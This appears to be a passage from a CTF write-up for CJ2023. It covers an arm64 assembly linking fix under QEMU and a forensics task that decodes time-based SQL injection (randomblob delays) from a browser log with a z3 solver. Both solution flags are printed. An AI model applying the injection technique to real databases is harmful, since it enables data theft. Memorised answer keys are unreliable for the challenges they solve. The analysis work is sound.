solve.pas(1,2) Warning: APPTYPE is not supported by the target OS Linking solve /usr/bin/ld.bfd: skipping incompatible main.o when searching for main.o /usr/bin/ld.bfd: skipping incompatible ./main.o when searching for main.o /usr/bin/ld.bfd: cannot find main.o: No such file or directory /usr/bin/ld.bfd: skipping incompatible main.o when searching for main.o /usr/bin/ld.bfd: skipping incompatible ./main.o when searching for main.o Error: Error while linking Fatal: There were 1 errors compiling module, stopping Fatal: Compilation aborted Error: /usr/bin/ppcx64 returned an error exitcode ``` It took me few hours to realize that I was compiling from my x86_64 machine, which causes the error due to the object file (main.o) is an arm64 object file. *Silly me* So I tried several way compile the code from an arm64 machine. I tried docker but it was just too complex, slow and a lot compatible issue. So I decided to use QEMU instead, with following this tutorial https://gist.github.com/billti/d904fd6124bf6f10ba2c1e3736f0f0f7 After doing some setup, I finally managed to get an access to a arm64 machine: ![](https://hackmd.io/_uploads/BkTdQLZ9h.png) So when compiling in the machine, I got an another error: ![](https://hackmd.io/_uploads/Sk-JOLbqh.png) The point of the error was that there's duplicate definitions. This was caused to due to definitions from `main.s` was conflicting with our main program definitions, hence why the error comes. My solution for this was to remove the duplicate definitions from `main.s`, leaving only the `run` function code and compiling it back to object file (.o), Here's the fixed `main.s`: ``` .file "main.pas" .section .text.n_p$foreign_$$_run$ansistring .balign 8 .globl P$FOREIGN_$$_RUN$ANSISTRING .type P$FOREIGN_$$_RUN$ANSISTRING,@function P$FOREIGN_$$_RUN$ANSISTRING: stp x29,x30,[sp, #-16]! mov x29,sp movz x16,#8256 sub sp,sp,x16 str x0,[sp] ldr x0,[sp] bl fpc_ansistr_incr_ref movz x0,#8048 add x2,sp,x0 movz x0,#8072 add x1,sp,x0 movz w0,#1 bl fpc_pushexceptaddr bl fpc_setjmp ubfiz x1,x0,#0,#32 sxtw x0,w1 str x0,[sp, #8240] cmp w1,#0 b.ne .Lj6 add x0,sp,#16 movz x1,#1024 bl SYSTEM_$$_GETMEM$POINTER$QWORD ldr x0,[sp, #16] str x0,[sp, #8] ldr x0,[sp, #8] movz w2,#0 movz x1,#1024 bl SYSTEM_$$_FILLBYTE$formal$INT64$BYTE movn w0,#0 strh w0,[sp, #8040] ldr x0,[sp] str x0,[sp, #24] ldr x0,[sp] ldr x1,[sp] cmp x1,#0 b.eq .Lj7 ldur x1,[x1, #-8] .Lj7: sub x0,x0,#1 add x0,x0,x1 str x0,[sp, #32] ldr x0,[sp, #24] cmp x0,#0 b.eq .Lj8 b .Lj9 .Lj8: b .Lj6 .Lj9: .balign 4 .Lj10: ldr x0,[sp, #24] ldrb w0,[x0] cmp w0,#101 b.lo .Lj14 mov w1,w0 sub w0,w0,#101 cmp w1,#101 b.eq .Lj18 mov w1,w0 sub w0,w0,#1 cmp w1,#1 b.eq .Lj15 mov w1,w0 sub w0,w0,#1 cmp w1,#1 b.eq .Lj20 mov w1,w0 sub w0,w0,#2 cmp w1,#2 b.eq .Lj19 mov w1,w0 sub w0,w0,#5 cmp w1,#5 b.eq .Lj21 mov w1,w0 sub w0,w0,#1 cmp w1,#1 b.eq .Lj16 mov w1,w0 sub w0,w0,#3 cmp w1,#3 b.eq .Lj17 b .Lj14 .Lj15: ldr x0,[sp, #8] sub x0,x0,#1 str x0,[sp, #8] b .Lj13 .Lj16: ldr x0,[sp, #8] add x0,x0,#1 str x0,[sp, #8] b .Lj13 .Lj17: ldr x0,[sp, #8] ldrb w1,[x0] add w1,w1,#1 uxtb w1,w1 strb w1,[x0] b .Lj13 .Lj18: ldr x1,[sp, #8] ldrb w0,[x1] sub w0,w0,#1 uxtb w0,w0 strb w0,[x1] b .Lj13 .Lj19: adrp x0,:got:FPC_THREADVAR_RELOCATE ldr x0,[x0, :got_lo12:FPC_THREADVAR_RELOCATE] ldur x1,[x0] cmp x1,#0 b.eq .Lj22 adrp x2,:got:U_$SYSTEM_$$_STDOUT ldr x2,[x2, :got_lo12:U_$SYSTEM_$$_STDOUT] ldur w0,[x2] blr x1 mov x1,x0 b .Lj23 .Lj22: adrp x1,:got:U_$SYSTEM_$$_STDOUT ldr x1,[x1, :got_lo12:U_$SYSTEM_$$_STDOUT] add x1,x1,#8 .Lj23: ldr x0,[sp, #8] ldrb w2,[x0] movz w0,#0 bl fpc_write_text_char bl fpc_iocheck adrp x0,:got:FPC_THREADVAR_RELOCATE ldr x0,[x0, :got_lo12:FPC_THREADVAR_RELOCATE] ldur x2,[x0] cmp x2,#0 b.eq .Lj24 adrp x1,:got:U_$SYSTEM_$$_STDOUT ldr x1,[x1, :got_lo12:U_$SYSTEM_$$_STDOUT] ldur w0,[x1] blr x2 b .Lj25 .Lj24: adrp x0,:got:U_$SYSTEM_$$_STDOUT ldr x0,[x0, :got_lo12:U_$SYSTEM_$$_STDOUT] add x0,x0,#8 .Lj25: bl fpc_write_end bl fpc_iocheck b .Lj13 .Lj20: ldr x0,[sp, #8] ldrb w0,[x0] cmp w0,#0 b.eq .Lj26 b .Lj27 .Lj26: movz w0,#1 strh w0,[sp, #8044] b .Lj29 .balign 4 .Lj28: ldr x0,[sp, #24] add x0,x0,#1 str x0,[sp, #24] ldr x0,[sp, #24] ldrb w0,[x0] cmp w0,#0 b.eq .Lj35 mov w1,w0 sub w0,w0,#103 cmp w1,#103 b.eq .Lj33 mov w1,w0 sub w0,w0,#7 cmp w1,#7 b.eq .Lj34 b .Lj32 .Lj33: ldrh w0,[sp, #8044] add w0,w0,#1 uxth w0,w0 strh w0,[sp, #8044] b .Lj31 .Lj34: ldrh w0,[sp, #8044] sub w0,w0,#1 uxth w0,w0 strh w0,[sp, #8044] b .Lj31 .Lj35: movz w0,#0 bl SYSTEM_$$_HALT$LONGINT b .Lj31 .Lj32: .Lj31: .Lj29: ldrh w0,[sp, #8044] cmp w0,#0 b.hi .Lj36 b .Lj37 .Lj36: ldr x1,[sp, #24] ldr x0,[sp, #32] cmp x1,x0 b.ls .Lj38 b .Lj37 .Lj38: b .Lj28 .Lj37: b .Lj30 .Lj30: b .Lj39 .Lj27: ldrsh w0,[sp, #8040] add w0,w0,#1 sxth w0,w0 strh w0,[sp, #8040] ldrh w0,[sp, #8040] ldr x1,[sp, #24] add x0,sp,x0,lsl #3 stur x1,[x0, #40] .Lj39: b .Lj13 .Lj21: ldr x0,[sp, #8] ldrb w0,[x0] cmp w0,#0 b.hi .Lj40 b .Lj41 .Lj40: ldrh w0,[sp, #8040] add x0,sp,x0,lsl #3 ldur x0,[x0, #40] str x0,[sp, #24] b .Lj42 .Lj41: ldrsh w0,[sp, #8040] sub w0,w0,#1 sxth w0,w0 strh w0,[sp, #8040] .Lj42: b .Lj13 .Lj14: .Lj13: ldr x0,[sp, #24] add x0,x0,#1 str x0,[sp, #24] ldr x0,[sp, #24] ldr x1,[sp, #32] cmp x0,x1 b.hi .Lj12 b .Lj10 .Lj12: ldr x0,[sp, #16] movz x1,#1024 bl SYSTEM_$$_FREEMEM$POINTER$QWORD .Lj6: bl fpc_popaddrstack mov x0,sp bl fpc_ansistr_decr_ref ldr x0,[sp, #8240] cmp x0,#0 b.eq .Lj5 bl fpc_reraise .Lj5: mov sp,x29 ldp x29,x30,[sp], #16 ret .Le0: .size P$FOREIGN_$$_RUN$ANSISTRING, .Le0 - P$FOREIGN_$$_RUN$ANSISTRING .section .rodata.n_.Ld1 .balign 8 .Ld1$strlab: .short 0,1 .long 0 .quad -1,3146 .Ld1: .ascii "zvpjzcpsrwrtlplhjvrkzcjrlvkxalrzaksrhjjmdtcbmrlazht" .ascii "urpvurwchbvrahpwlgpbodpcjdrpywldzqowdrlhmsuhrbrbkdk" .ascii "jzuxvoxclbymjsrdpjxyczmsrzlkqyxaraumhkzyrsmavzjrqrs" .ascii "xwqwvxptqrczkzkodjjaarhpqrxawwqtajjrubsyzwrqzpubqqs" .ascii "brprwxxrschxbbpmuzrskqkrzyklyyvkwyrtlfzjsvpftttwbfz" .ascii "dqfkbypezpjjuxnyopzjmomxwbsdcocxvlykjwekezwvvpyyesp" .ascii "zmdsiajlramrhzkvlrcwydrsmkvpamsrpzvyrqvmysbmmlkrqjc" .ascii "mhmpuzilyppcmssqfccyrjjyuaytrdyuqltlqtdrqcmlmybzwrv" .ascii "ydsttrhhlahqxudrzwthtwjwsrqhtudrzvaqqumyjrmpkptcvpq" .ascii "rjktrzqcsbcrxpycrbajrjkqkzmcyyaryujtjhzrdutjapjtcrp" .ascii "havjrptwkrlrlxidqssajdeddtscvluvewksmljkazivaprtzxr" .ascii "mptqvbxqpyimvzurpaptqxyiqsuoyotrwyajtamzarbraqrldxt" .ascii "wmrmysryjhcwtxtdrdmsxddtaswrmvhjqarukrxdruxrkuykrcj" .ascii "clydrmrhqsjrdlxjrkuxvwxvxmrhprlqwpbldyruudsjrxrlmqk" .ascii "ycrxlsdcsyibmewuvlcwzvezzqteteqsmpybhdseztdytsblkwe" .ascii "mkbzyljdttezumxaezbelhzblmzqwekbatzeyexmdvesueqwjkb" .ascii "jvaqexiwmmxypevuvlckeuwdaqeclskpemuwzhkqeuespxkzjvx" .ascii "ebyhvycwixhcwhcysyitrapmruckppbrvublqhuzujrmpuhsdqr" .ascii "srvzhrbudlprzbaylvrdrtdkdlyzswrmzsjpkkqapratmmudrlm" .ascii "chsmdrsjmxlxxajrzbujjiszsycfxlpbrjrhmrqtsvaksyujrmu" .ascii "ypmmdxvrvqzdqllhrlrstralyzukmmcbrjbmbutapjrvpjmbcrp" .ascii "suypxsrlcbzbspyazrsbzpjbrshjxkyrcxjdhurjmyryjssdtrb" .ascii "ckrvcypsqqaptrprqxvibyolkxwemtutaxlemuscehelybwmeye" .ascii "dbklzcpdwbekqjqzwekyiwurmaxrhvcbdurqvyvbsjivuyzpury" .ascii "jvzjxrubrmbrxclltvsruzvrpphmmjrptvvrdzjqyvximcvatcp" .ascii "apxfuycqikomvdvxubzeqzbyyzwcextxyexxcxcxujejhptupjd" .ascii "ehvhmzkwejealmxxykwxqealxxwzmeykacpazyjeulmpmzcevap" .ascii "abaxijvfpclrartwzuuumdytrwylumhdddkrmvktddbvbbrtjyr" .ascii "jssdxsmziqhcjssosabbqrpjpzjcruxjzrvbcwjxpbmrpluwurv" .ascii "jjwrmtzhasvuumrwvrcmuwarsjsmqwrxjbjvzciykmskfjihmzd" .ascii "crmvbrjcrmthysjsrjhrplbtumramrwhtdiwqbehsbmavwxeusb" .ascii "peyzxxvehecsedmyeuezetypllzjdbqemdscucsdqlewaxmewsw" .ascii "sdetupuhsjiqqquwkhuovhtvyezeulxvyletspqhqesklmyksex" .ascii "vuzhhvkauejjkwqxxuuqecyejtweudeahibzfljrmxlkrpvsrhd" .ascii "vxtzmaryrxuxxrpybibzeseyppeccxthpxvezlcbhiyovrjzltv" .ascii "tdrtvldbhbtcrjzxtsdyqkrtyvpbmwxdcrmturhydxhzmpxqisp" .ascii "ycaxtueuewckwqeajbkjwetsqzsvmviutxsjxblqmfqlyhhddzp" .ascii "urymazzhtxrcxqwcdxwwlrmddxbtdxybrwtxaiwjovwxtzjckkr" .ascii "vxrqysrjlswddwwljrhucvqvilpflqzzbleblbwykcqkjeyazwq" .ascii "wejkhsbdxcexlppwehwykxceqpcmvmbasiktcstlkuccrxpsruy" .ascii "cydjadihlyvovuqrpxqtlpthxrxbujvxphrvzxsyyraxbltlxwd" .ascii "ipbhedzdwtzlklkepqwzdhwwwejjxsmsetwuledevluuwudlses" .ascii "tvzuchqimqqexydzylepejbejbuahqhmsetbuhkejtwwihjqtpu" .ascii "vfvjtcjrmksljpvvrzjluwluzrjuzbiyvbmlzpwuebcyuqbmued" .ascii "hvekztdytquuaeqetvbyicbobhcsqbruwrvhtxhrkipmbtldhby" .ascii "aflwddhrpdykxwswrpisskhocsrwrultujwlsklrxkwwxwdwxwr" .ascii "bwhzcrtrylkqtbdiyvfqzbkhrsrdbmzvwrldssaruxumrarzhbx" .ascii "psdxdiapapwdclqebjcyeplassismeddwamadepeycdwyhlwtwe" .ascii "jbcytxyexktejsvauaqvimzvjkojekemqzvkehxyutqexqqzuet" .ascii "hzlwhjjqpextmyzisjblvfdkkhukcrtwjxvlzmrwjhzjvqipbsx" .ascii "amvcodwjtsmzxrvurwssxtjqxciwttsdkxfbcrtyjbarhpxrkzt" .ascii "ujkjwzwrlkdxyhhprtxrjvmdvpdqaiyosdvrvzlttrzpldcvaqh" .ascii "brqsjksyjhbvraywzrtywrvazxsxpdarjkilakzctdfmuvmwapk" .ascii "bqettdjyvkzxemtpcbcsbevmehajluqcehdvuvmmbdjetmmbihx" .ascii "acwrkyqsjayyurtrchrxhzwujpwsrakmkuctuljrdstitcmeduw" .ascii "axpekzbhhdihbzkpdebassulmuqdetjxzewzvwwaqypqeyexsle" .ascii "xtkxdishvyvoxmeklesbxlpavzekeqdmxexcbvelqehptvmmhhd" .ascii "euyizduppraaazsbrassiqvuabkfvyzahrzkrsqmzmtmwlrajyx" .ascii "jshxkrdprcuiqrvimyyzlomxubjuezzsjkadmebmwbajqhsebuc" .ascii "miacpkdarptakkjkrvzycalvtktrxxzqztsputrzkxzvraspxxk" .ascii "raqmhqsryrvjxkkqvrvcyujkmrkrpxvuvurdzcqartvwyzqdkas" .ascii "rxcvrmvzhblrxvyczrtktsdptvwiutbmdfq\000" .Le14: .size .Ld1$strlab, .Le14 - .Ld1$strlab // End asmlist al_const // Begin asmlist al_typedconsts .section .data.n_TC_$P$FOREIGN_$$_CODE .balign 8 .type TC_$P$FOREIGN_$$_CODE,@object TC_$P$FOREIGN_$$_CODE: .quad .Ld1 .Le15: .size TC_$P$FOREIGN_$$_CODE, .Le15 - TC_$P$FOREIGN_$$_CODE // End asmlist al_typedconsts .section .note.GNU-stack,"",%progbits ``` Let's compile it: ![](https://hackmd.io/_uploads/r1Gi_L-qh.png) Now, fingers crossed. Let's compile our program: ![](https://hackmd.io/_uploads/Bk7KIP-cn.png) I'm proud of myself <3 `CJ2023{leet_low_level_learner_avoid_large_language_model}` # Forensic ## Sequel The Chall file is log of browser activity formated in json. After doing manual analysis, I found that the client trying to request using unusual/malicious code. The code identified as SQL Injection. ![](https://hackmd.io/_uploads/H1_APr-qh.png) After doing deeper manual analysis, this code is kind of like time based SQL Injection. Because of using **randomblob()** function with many number. I found that the server takes > 3000 ms when trying to process **randomblob(1500000000/2)** and vice versa. Then I parse all the postdata and grab the right one. Calculate all the math uzing z3 there is my solver ```python= import json import re from z3 import * file = json.loads(open('sequel').read()) lengthdata = len(file['log']['entries']) conditions = [] def z3condition(ind, op, exp): res = '(' for i in range(len(op)): if '-' in ind[i]: num = 48 + int(ind[i]) elif 'x' in ind[i] or 'X' in ind[i]: num = int(ind[i], 16) - 1 else: num = int(ind[i]) - 1 res += f' flag[{num}] {op[i]}' if '-' in ind[-1]: num = 48 + int(ind[-1]) elif 'x' in ind[-1] or 'X' in ind[-1]: num = int(ind[-1], 16) - 1 else: num = int(ind[-1]) - 1 res += f' flag[{num}] == {exp} )' return res for i in range(lengthdata): if file['log']['entries'][i]['response']['status'] == 500: postdata = file['log']['entries'][i]['request']['postData']['text'] time = file['log']['entries'][i]['timings']['wait'] benaratausalah = re.findall(r"randomblob\((.*?)\)", postdata, re.IGNORECASE) indekske = re.findall(r"content,([^,]+)", postdata, re.IGNORECASE) operator = re.findall(r"(?<='%cj%'\)).*?(?=\(SeLEcT)", postdata, re.IGNORECASE) expectedres = re.search(r"(?<=\)/\*\*/likE/\*\*/).*?(?=/\*\*/tHEn/\*\*/)", postdata, re.IGNORECASE).group(0) expectedres = bytes.fromhex(expectedres.strip("'")).decode() if "'" in expectedres else expectedres if time < 3000.0: if benaratausalah[0][:2] == '10': conditions.append(z3condition(indekske, operator, expectedres)) else: if benaratausalah[0][:2] == '15': conditions.append(z3condition(indekske, operator, expectedres)) for i in range(8,48): conditions.append(f'48 <= flag[{i}]') # constraint flag = [Int(f'arr[{i}]') for i in range(48)] s = Solver() for i in conditions: s.add(eval(i)) print(s.check()) for i in range(48): print(chr(s.model()[flag[i]].as_long()), end='') ``` ```text! output: sat CJ2023{a346e8d716e2fd7a514c803b22447b83f49eeaea} ``` flag **CJ2023{a346e8d716e2fd7a514c803b22447b83f49eeaea}**